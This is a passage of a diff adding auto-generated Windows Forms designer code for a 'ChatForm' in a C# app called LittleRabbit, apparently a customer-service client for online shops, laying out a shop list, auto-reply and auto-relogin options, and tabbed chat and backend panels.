System.Windows.Forms.ComboBox(); + this.label1 = new System.Windows.Forms.Label(); + this.pnlSet = new DevComponents.DotNetBar.PanelEx(); + this.line4 = new DevComponents.DotNetBar.Controls.Line(); + this.chkIsAutoReLogin = new System.Windows.Forms.CheckBox(); + this.txtAutoReplyText = new System.Windows.Forms.TextBox(); + this.chkIsAutoReply = new System.Windows.Forms.CheckBox(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.ColumnShopID = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColumnShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColumnShopStatus = new System.Windows.Forms.DataGridViewLinkColumn(); + this.pnlRefresh = new DevComponents.DotNetBar.PanelEx(); + this.tabControl1 = new LittleRabbit.UserComponent.UcTabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.panel1 = new System.Windows.Forms.Panel(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.mainPanel = new System.Windows.Forms.Panel(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.panel2 = new System.Windows.Forms.Panel(); + this.pbLogo = new System.Windows.Forms.PictureBox(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.button2 = new System.Windows.Forms.Button(); + this.button1 = new System.Windows.Forms.Button(); + this.lblVersionName = new DevComponents.DotNetBar.LabelX(); + this.lblVersionInfo = new DevComponents.DotNetBar.LabelX(); + this.max = new DevComponents.DotNetBar.PanelEx(); + this.min = new DevComponents.DotNetBar.PanelEx(); + this.close = new DevComponents.DotNetBar.PanelEx(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.Panel2.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.tabControl1.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.tabPage2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbLogo)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.White; + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.tabControl1); + this.splitContainer1.Size = new System.Drawing.Size(1496, 683); + this.splitContainer1.SplitterDistance = 270; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 0; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.chkNotShowMessageWindow); + this.splitContainer2.Panel1.Controls.Add(this.cmbMessage); + this.splitContainer2.Panel1.Controls.Add(this.label1); + this.splitContainer2.Panel1.Controls.Add(this.pnlSet); + this.splitContainer2.Panel1.Controls.Add(this.line4); + this.splitContainer2.Panel1.Controls.Add(this.chkIsAutoReLogin); + this.splitContainer2.Panel1.Controls.Add(this.txtAutoReplyText); + this.splitContainer2.Panel1.Controls.Add(this.chkIsAutoReply); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(4, 0, 0, 4); + this.splitContainer2.Size = new System.Drawing.Size(270, 683); + this.splitContainer2.SplitterDistance = 136; + this.splitContainer2.TabIndex = 0; + // + // chkNotShowMessageWindow + // + this.chkNotShowMessageWindow.AutoSize = true; + this.chkNotShowMessageWindow.Location = new System.Drawing.Point(4, 33); + this.chkNotShowMessageWindow.Name = "chkNotShowMessageWindow"; + this.chkNotShowMessageWindow.Size = new System.Drawing.Size(123, 21); + this.chkNotShowMessageWindow.TabIndex = 201; + this.chkNotShowMessageWindow.Text = "新消息不弹框提示"; + this.chkNotShowMessageWindow.UseVisualStyleBackColor = true; + this.chkNotShowMessageWindow.CheckedChanged += new System.EventHandler(this.chkNotShowMessageWindow_CheckedChanged); + // + // cmbMessage + // + this.cmbMessage.BackColor = System.Drawing.Color.White; + this.cmbMessage.Font = new System.Drawing.Font("新宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cmbMessage.FormattingEnabled = true; + this.cmbMessage.ItemHeight = 12; + this.cmbMessage.Items.AddRange(new object[] { + "默认提示音", + "1号电脑", + "2号电脑", + "3号电脑", + "4号电脑", + "5号电脑", + "6号电脑", + "7号电脑", + "8号电脑", + "9号电脑", + "10号电脑", + "11号电脑", + "12号电脑", + "13号电脑", + "14号电脑", + "15号电脑", + "16号电脑", + "17号电脑", + "18号电脑", + "19号电脑", + "20号电脑", + "无"}); + this.cmbMessage.Location = new System.Drawing.Point(180, 4); + this.cmbMessage.Name = "cmbMessage"; + this.cmbMessage.Size = new System.Drawing.Size(90, 20); + this.cmbMessage.TabIndex = 193; + this.cmbMessage.SelectedIndexChanged += new System.EventHandler(this.cmbMessage_SelectedIndexChanged); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(118, 6); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(68, 17); + this.label1.TabIndex = 197; + this.label1.Text = "消息提示:"; + // + // pnlSet + // + this.pnlSet.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlSet.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSet.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlSet.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSet.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlSet.Location = new System.Drawing.Point(230, 56); + this.pnlSet.Name = "pnlSet"; + this.pnlSet.Size = new System.Drawing.Size(40, 20); + this.pnlSet.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSet.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlSet.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlSet.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlSet.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.pnlSet.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlSet.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlSet.Style.GradientAngle = 90; + this.pnlSet.TabIndex = 184; + this.pnlSet.Text = "设 置"; + this.pnlSet.Visible = false; + this.pnlSet.Click += new System.EventHandler(this.pnlSet_Click); + // + // line4 + // + this.line4.ForeColor = System.Drawing.Color.Silver; + this.line4.Location = new System.Drawing.Point(4, 24); + this.line4.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2); + this.line4.Name = "line4"; + this.line4.Size = new System.Drawing.Size(266, 8); + this.line4.TabIndex = 180; + this.line4.Text = "line4"; + // + // chkIsAutoReLogin + // + this.chkIsAutoReLogin.AutoSize = true; + this.chkIsAutoReLogin.Location = new System.Drawing.Point(4, 5); + this.chkIsAutoReLogin.Name = "chkIsAutoReLogin"; + this.chkIsAutoReLogin.Size = new System.Drawing.Size(99, 21); + this.chkIsAutoReLogin.TabIndex = 2; + this.chkIsAutoReLogin.Text = "掉线自动重登"; + this.chkIsAutoReLogin.UseVisualStyleBackColor = true; + this.chkIsAutoReLogin.CheckedChanged += new System.EventHandler(this.chkIsAutoReLogin_CheckedChanged); + // + // txtAutoReplyText + // + this.txtAutoReplyText.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtAutoReplyText.Location = new System.Drawing.Point(4, 78); + this.txtAutoReplyText.Multiline = true; + this.txtAutoReplyText.Name = "txtAutoReplyText"; + this.txtAutoReplyText.Size = new System.Drawing.Size(266, 58); + this.txtAutoReplyText.TabIndex = 1; + this.txtAutoReplyText.TextChanged += new System.EventHandler(this.txtAutoReplyText_TextChanged); + // + // chkIsAutoReply + // + this.chkIsAutoReply.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.chkIsAutoReply.AutoSize = true; + this.chkIsAutoReply.Location = new System.Drawing.Point(4, 56); + this.chkIsAutoReply.Name = "chkIsAutoReply"; + this.chkIsAutoReply.Size = new System.Drawing.Size(87, 21); + this.chkIsAutoReply.TabIndex = 0; + this.chkIsAutoReply.Text = "自动回复:"; + this.chkIsAutoReply.UseVisualStyleBackColor = true; + this.chkIsAutoReply.CheckedChanged += new System.EventHandler(this.chkIsAutoReply_CheckedChanged); + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(4, 0); + this.splitContainer4.Name = "splitContainer4"; + this.splitContainer4.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.dgvShop); + // + // splitContainer4.Panel2 + // + this.splitContainer4.Panel2.Controls.Add(this.pnlRefresh); + this.splitContainer4.Size = new System.Drawing.Size(266, 539); + this.splitContainer4.SplitterDistance = 509; + this.splitContainer4.TabIndex = 7; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.dgvShop.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.dgvShop.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ColumnShopID, + this.ColumnShopName, + this.ColumnShopStatus}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(0, 0); + this.dgvShop.MultiSelect = false; + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + this.dgvShop.RowHeadersWidth = 36; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(266, 509); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellClick); + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // ColumnShopID + // + this.ColumnShopID.HeaderText = "店铺账号"; + this.ColumnShopID.Name = "ColumnShopID"; + this.ColumnShopID.ReadOnly = true; + this.ColumnShopID.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ColumnShopID.Width = 62; + // + // ColumnShopName + // + this.ColumnShopName.HeaderText = "店铺名称"; + this.ColumnShopName.Name = "ColumnShopName"; + this.ColumnShopName.ReadOnly = true; + this.ColumnShopName.Width = 62; + // + // ColumnShopStatus + // + this.ColumnShopStatus.HeaderText = "登录状态"; + this.ColumnShopStatus.Name = "ColumnShopStatus"; + this.ColumnShopStatus.ReadOnly = true; + this.ColumnShopStatus.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ColumnShopStatus.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.ColumnShopStatus.Width = 106; + // + // pnlRefresh + // + this.pnlRefresh.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlRefresh.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlRefresh.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlRefresh.Dock = System.Windows.Forms.DockStyle.Fill; + this.pnlRefresh.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlRefresh.Location = new System.Drawing.Point(0, 0); + this.pnlRefresh.Name = "pnlRefresh"; + this.pnlRefresh.Size = new System.Drawing.Size(266, 26); + this.pnlRefresh.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlRefresh.Style.BackColor1.Color = System.Drawing.Color.White; + this.pnlRefresh.Style.BackColor2.Color = System.Drawing.Color.White; + this.pnlRefresh.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlRefresh.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlRefresh.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlRefresh.Style.GradientAngle = 90; + this.pnlRefresh.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlRefresh.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlRefresh.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlRefresh.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.pnlRefresh.TabIndex = 188; + this.pnlRefresh.Text = "刷 新 店 铺"; + this.pnlRefresh.Click += new System.EventHandler(this.pnlRefresh_Click); + // + // tabControl1 + // + this.tabControl1.BackgroundColor = System.Drawing.Color.White; + this.tabControl1.Controls.Add(this.tabPage1); + this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Cursor = System.Windows.Forms.Cursors.Hand; + this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl1.ItemSize = new System.Drawing.Size(72, 26); + this.tabControl1.Location = new System.Drawing.Point(0, 0); + this.tabControl1.Name = "tabControl1"; + this.tabControl1.SelectedIndex = 0; + this.tabControl1.ShowCloseButton = false; + this.tabControl1.Size = new System.Drawing.Size(1225, 683); + this.tabControl1.TabIndex = 1; + this.tabControl1.TabSelectColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.tabControl1.TabTextColor = System.Drawing.Color.DimGray; + // + // tabPage1 + // + this.tabPage1.BackColor = System.Drawing.Color.White; + this.tabPage1.Controls.Add(this.panel1); + this.tabPage1.Location = new System.Drawing.Point(2, 30); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(0, 2, 0, 0); + this.tabPage1.Size = new System.Drawing.Size(1219, 649); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "客服窗口"; + // + // panel1 + // + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 2); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(1219, 647); + this.panel1.TabIndex = 0; + // + // tabPage2 + // + this.tabPage2.BackColor = System.Drawing.Color.White; + this.tabPage2.Controls.Add(this.mainPanel); + this.tabPage2.Location = new System.Drawing.Point(2, 30); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(0, 2, 0, 0); + this.tabPage2.Size = new System.Drawing.Size(1219, 649); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = "店铺后台"; + // + // mainPanel + // + this.mainPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.mainPanel.Location = new System.Drawing.Point(0, 2); + this.mainPanel.Name = "mainPanel"; + this.mainPanel.Size = new System.Drawing.Size(1219, 647); + this.mainPanel.TabIndex = 0; + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer3.Location = new System.Drawing.Point(2, 2); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.splitContainer3.Panel1.Controls.Add(this.panel2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer1); + this.splitContainer3.Size = new System.Drawing.Size(1496, 764); + this.splitContainer3.SplitterDistance = 77; + this.splitContainer3.TabIndex = 1; + // + // panel2 + // + this.panel2.Controls.Add(this.pbLogo); + this.panel2.Controls.Add(this.textBox1); + this.panel2.Controls.Add(this.button2); + this.panel2.Controls.Add(this.button1); + this.panel2.Controls.Add(this.lblVersionName); + this.panel2.Controls.Add(this.lblVersionInfo); + this.panel2.Controls.Add(this.max); + this.panel2.Controls.Add(this.min); + this.panel2.Controls.Add(this.close); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(1496, 77); + this.panel2.TabIndex = 51; + this.panel2.DoubleClick += new System.EventHandler(this.panel2_DoubleClick); + this.panel2.MouseDown += new System.Windows.Forms.MouseEventHandler(this.panel2_MouseDown); + this.panel2.MouseMove += new System.Windows.Forms.MouseEventHandler(this.panel2_MouseMove); + this.panel2.MouseUp += new System.Windows.Forms.MouseEventHandler(this.panel2_MouseUp); + // + // pbLogo + // + this.pbLogo.Image = global::LittleRabbit.Properties.Resources.main_form_logo; + this.pbLogo.Location = new System.Drawing.Point(7, 9); + this.pbLogo.Name = "pbLogo"; + this.pbLogo.Size = new System.Drawing.Size(180, 60); + this.pbLogo.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pbLogo.TabIndex = 78; + this.pbLogo.TabStop = false; + // + // textBox1 + // + this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox1.Location = new System.Drawing.Point(347, 6); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(530, 23); + this.textBox1.TabIndex = 65; + this.textBox1.Visible = false; + // + // button2 + // + this.button2.Location = new System.Drawing.Point(271, 6); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(75, 23); + this.button2.TabIndex = 64; + this.button2.Text = "button2"; + this.button2.UseVisualStyleBackColor = true; + this.button2.Visible = false; + this.button2.Click += new System.EventHandler(this.button2_Click); + // + // button1 + // + this.button1.Location = new System.Drawing.Point(195, 6); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(75, 23); + this.button1.TabIndex = 51; + this.button1.Text = "button1"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Visible = false; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // lblVersionName + // + this.lblVersionName.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.lblVersionName.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblVersionName.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblVersionName.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(192)))), ((int)(((byte)(0))))); + this.lblVersionName.Location = new System.Drawing.Point(1418, 31); + this.lblVersionName.Name = "lblVersionName"; + this.lblVersionName.Size = new System.Drawing.Size(74, 17); + this.lblVersionName.TabIndex = 34; + this.lblVersionName.Text = "版本类型"; + this.lblVersionName.TextAlignment = System.Drawing.StringAlignment.Far; + // + // lblVersionInfo + // + this.lblVersionInfo.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.lblVersionInfo.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblVersionInfo.Font = new System.Drawing.Font("微软雅黑", 9F); + this.lblVersionInfo.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(159)))), ((int)(((byte)(165)))), ((int)(((byte)(204))))); + this.lblVersionInfo.Location = new System.Drawing.Point(1257, 54); + this.lblVersionInfo.Name = "lblVersionInfo"; + this.lblVersionInfo.Size = new System.Drawing.Size(235, 16); + this.lblVersionInfo.TabIndex = 30; + this.lblVersionInfo.Text = "版本信息"; + this.lblVersionInfo.TextAlignment = System.Drawing.StringAlignment.Far; + // + // max + // + this.max.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.max.CanvasColor = System.Drawing.SystemColors.Control; + this.max.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.max.Cursor = System.Windows.Forms.Cursors.Hand; + this.max.DisabledBackColor = System.Drawing.Color.Empty; + this.max.Location = new System.Drawing.Point(1449, 6); + this.max.Name = "max"; + this.max.Size = new System.Drawing.Size(16, 16); + this.max.Style.Alignment = System.Drawing.StringAlignment.Center; + this.max.Style.BackColor1.Alpha = ((byte)(0)); + this.max.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.max.Style.BackColor2.Alpha = ((byte)(0)); + this.max.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.max.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.max; + this.max.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.max.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.max.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.max.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.max.Style.GradientAngle = 90; + this.max.StyleMouseOver.BackgroundImage = global::LittleRabbit.Properties.Resources.max_hover; + this.max.TabIndex = 33; + this.max.Click += new System.EventHandler(this.max_Click); + // + // min + // + this.min.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.min.CanvasColor = System.Drawing.SystemColors.Control; + this.min.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.min.Cursor = System.Windows.Forms.Cursors.Hand; + this.min.DisabledBackColor = System.Drawing.Color.Empty; + this.min.Location = new System.Drawing.Point(1424, 6); + this.min.Name = "min"; + this.min.Size = new System.Drawing.Size(16, 16); + this.min.Style.Alignment = System.Drawing.StringAlignment.Center; + this.min.Style.BackColor1.Alpha = ((byte)(0)); + this.min.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.min.Style.BackColor2.Alpha = ((byte)(0)); + this.min.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.min.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.min; + this.min.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.min.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.min.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.min.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.min.Style.GradientAngle = 90; + this.min.StyleMouseOver.BackgroundImage = global::LittleRabbit.Properties.Resources.min_hover; + this.min.TabIndex = 32; + this.min.Click += new System.EventHandler(this.min_Click); + // + // close + // + this.close.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.close.CanvasColor = System.Drawing.SystemColors.Control; + this.close.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.close.Cursor = System.Windows.Forms.Cursors.Hand; + this.close.DisabledBackColor = System.Drawing.Color.Empty; + this.close.Location = new System.Drawing.Point(1474, 6); + this.close.Name = "close"; + this.close.Size = new System.Drawing.Size(16, 16); + this.close.Style.Alignment = System.Drawing.StringAlignment.Center; + this.close.Style.BackColor1.Alpha = ((byte)(0)); + this.close.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.close.Style.BackColor2.Alpha = ((byte)(0)); + this.close.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.close.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.close; + this.close.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.close.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.close.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.close.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.close.Style.GradientAngle = 90; + this.close.StyleMouseOver.BackgroundImage = global::LittleRabbit.Properties.Resources.close_hover; + this.close.TabIndex = 31; + this.close.Click += new System.EventHandler(this.close_Click); + // + // ChatForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ClientSize = new System.Drawing.Size(1500, 768); + this.Controls.Add(this.splitContainer3); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Name = "ChatForm"; + this.Padding = new System.Windows.Forms.Padding(2); + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "客服集成"; + this.Load += new System.EventHandler(this.ChatForm_Load); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel1.PerformLayout(); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + this.splitContainer4.Panel1.ResumeLayout(false); + this.splitContainer4.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.tabControl1.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabPage2.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + 